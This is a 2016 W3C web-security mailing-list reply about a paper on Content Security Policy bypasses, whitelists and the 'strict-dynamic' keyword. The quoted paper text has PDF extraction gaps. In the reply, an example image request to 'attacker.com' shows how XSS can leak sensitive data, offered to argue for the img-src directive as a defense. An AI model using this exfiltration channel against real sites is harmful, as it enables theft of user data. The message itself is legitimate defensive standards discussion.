- From: Christoph Kerschbaumer <ckerschbaumer@mozilla.com>
- Date: Thu, 8 Sep 2016 10:02:39 +0200
- To: Artur Janc <aaj@google.com>
- Cc: "Hodges, Jeff" <jeff.hodges@paypal.com>, W3C Web App Security WG <public-webappsec@w3.org>
- Message-ID: <CAGy2MrURpfxR4gnrjG93YVjJAOT+SLxLZ2pwEBQLz+kD_taSoA@mail.gmail.com>
On Wed, Sep 7, 2016 at 10:14 PM, Artur Janc <aaj@google.com> wrote:
> This paper is based on the results that we've discussed a bit at the last
> F2F, and which were the original motivation for 'strict-dynamic' -- they
> came up in some of the discussions we had here around the feature, so many
> folks are probably familiar with the details.
>
> The best outcome I can hope for is if we could consider the past failings
> of CSP and think about how we can fix them to build something more useful.
> There are lessons that can be applied right away in CSP3 (e.g. promoting
> nonces/hashes as a better script blessing mechanism), and some general
> takeaways to consider when designing its successor (e.g. avoiding
> unnecessary complexity, improving developer understanding of the mechanism
> and the security benefits it offers, less ugly syntax, etc).
>
> There's probably also a meta-discussion to be had around the types of
> threats we're trying to mitigate, and an attempt to map how various parts
> of CSP or other specs address them. For example, there's almost never a
> security benefit of setting img-src,
>
Well, that's debatable. Historically, images have been used as a channel to
exfiltrate sensitive user data. If we could completely prevent XSS, then I
could see img-src go away, but until then I see the benefit of having a
defense in depth mechanism that blocks such exfiltration attacks. E.g. if
an attacker manages to exploit some XSS vulnerability, the attacker could
do https://attacker.com/foo.jgp?sensitive-data, but a strongly crafted
img-src directive would block the attack.
> and it adds maintenance overhead and risks breakage when URLs change, but
> it's present in a large majority of policies; refocusing on the few bits
> that actually improve security would be really beneficial for the ecosystem.
>
> As a final meta-note I think so far we've been fairly lucky as an industry
> that malicious exploitation of XSS has been fairly limited (for many
> reasons; long story). However, we're giving webapps access to more powerful
> APIs and keep blurring the line between the web and native apps (we're
> already in a situation where XSS in some webapps is equivalent to remote
> code execution on the user's device) so these attacks will become more
> compelling. The web platform should really have stronger defenses against a
> class of vulnerabilities that's simultaneously the most common and the most
> damaging; solving other problems but not addressing this one means we're
> not serving our users as well as we should.
>
> -A
>
> On Wed, Sep 7, 2016 at 6:16 PM, Hodges, Jeff <jeff.hodges@paypal.com>
> wrote:
>
>> Apologies if this has already been posted here, I looked and didn't see
>> that it had...
>>
>> CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future
>> of Content Security Policy
>> <https://static.googleusercontent.com/media/research.google.
>> com/en//pubs/ar
>> chive/45542.pdf
>> <https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf>
>> >
>>
>> Lukas Weichselbaum
>> Michele Spagnuolo
>> Sebastian Lekies
>> Artur Janc
>>
>>
>> ABSTRACT
>> Content Security Policy is a web platform mechanism de-
>> signed to mitigate cross-site scripting (XSS), the top security
>> vulnerability in modern web applications [24]. In this paper,
>> we take a closer look at the practical bene ts of adopting
>> CSP and identify signi cant aws in real-world deployments
>> that result in bypasses in 94.72% of all distinct policies.
>> We base our Internet-wide analysis on a search engine cor-
>> pus of approximately 100 billion pages from over 1 billion
>> hostnames; the result covers CSP deployments on 1,680,867
>> hosts with 26,011 unique CSP policies { the most compre-
>> hensive study to date. We introduce the security-relevant
>> aspects of the CSP speci cation and provide an in-depth
>> analysis of its threat model, focusing on XSS protections.
>> We identify three common classes of
>> CSP bypasses
>> and ex-
>> plain how they subvert the security of a policy.
>> We then turn to a quantitative analysis of policies de-
>> ployed on the Internet in order to understand their secu-
>> rity bene ts. We observe that 14 out of the 15 domains
>> most commonly whitelisted for loading scripts contain
>> un-
>> safe endpoints
>> ; as a consequence, 75.81% of distinct policies
>> use script whitelists that allow attackers to bypass CSP. In
>> total, we nd that 94.68% of policies that attempt to limit
>> script execution are ine ective, and that 99.34% of hosts
>> with CSP use policies that o er no bene t against XSS.
>> Finally, we propose the
>> 'strict-dynamic'
>> keyword, an
>> addition to the speci cation that facilitates the creation of
>> policies based on cryptographic nonces, without relying on
>> domain whitelists. We discuss our experience deploying such
>> a
>> nonce-based
>> policy in a complex application and provide
>> guidance to web authors for improving their policies.
>>
>>
>>
>> 6. CONCLUSION
>> In this paper, we presented an assessment of the practical
>> security bene ts of adopting CSP in real-world applications,
>> based on a large-scale empirical study.
>> We performed an in-depth analysis of the security model
>> of CSP and identi ed several cases where seemingly safe poli-
>> cies provided no security improvement. We investigated the
>> adoption of CSP on over 1 billion hostnames, and identi ed
>> 1.6 million hosts using 26,011 unique policies in the Google
>> search index.
>> Unfortunately, the majority of these policies are inher-
>> ently insecure. Via automated checks, we were able to demon-
>> strate that 94.72 % of all policies can be trivially bypassed
>> by an attacker with a markup-injection bug. Furthermore,
>> we analyzed the security properties of whitelists. Thereby,
>> we found that 75.81 % of all policies and 41.65 % of all strict
>> policies contain at least one insecure host within their white-
>> lists. These numbers lead us to the believe that whitelists
>> are impractical for use within CSP policies.
>> Hence, we proposed a new way of writing policies. In-
>> stead of whitelisting entire hosts, we recommend enabling
>> individual scripts via an approach based on CSP nonces.
>> In order to ease the adoption of
>> nonce-based
>> CSP, we fur-
>> thermore proposed the
>> 'strict-dynamic'
>> keyword. Once
>> speci ed within a CSP policy, this keyword enables a mode
>> inside the browser to inherit nonces to dynamic scripts.
>> Hence, if a script trusted with a nonce creates a new script at
>> runtime, this new script will also be considered legitimate.
>> Although this technique departs from the traditional host
>> whitelisting approach of CSP, we consider the usability im-
>> provements signi cant enough to justify its broad adoption.
>> Because this is designed to be an opt-in mechanism, it does
>> not reduce the protective capabilities of CSP by default.
>> We expect that that the combination of a nonce-based ap-
>> proach and the
>> 'strict-dynamic'
>> keyword will allow devel-
>> opers and organizations to nally enjoy real security bene ts
>> o ered by the Content Security Policy.
>>
>>
>>
>> end
>>
>>
>>
>
Received on Thursday, 8 September 2016 08:03:12 UTC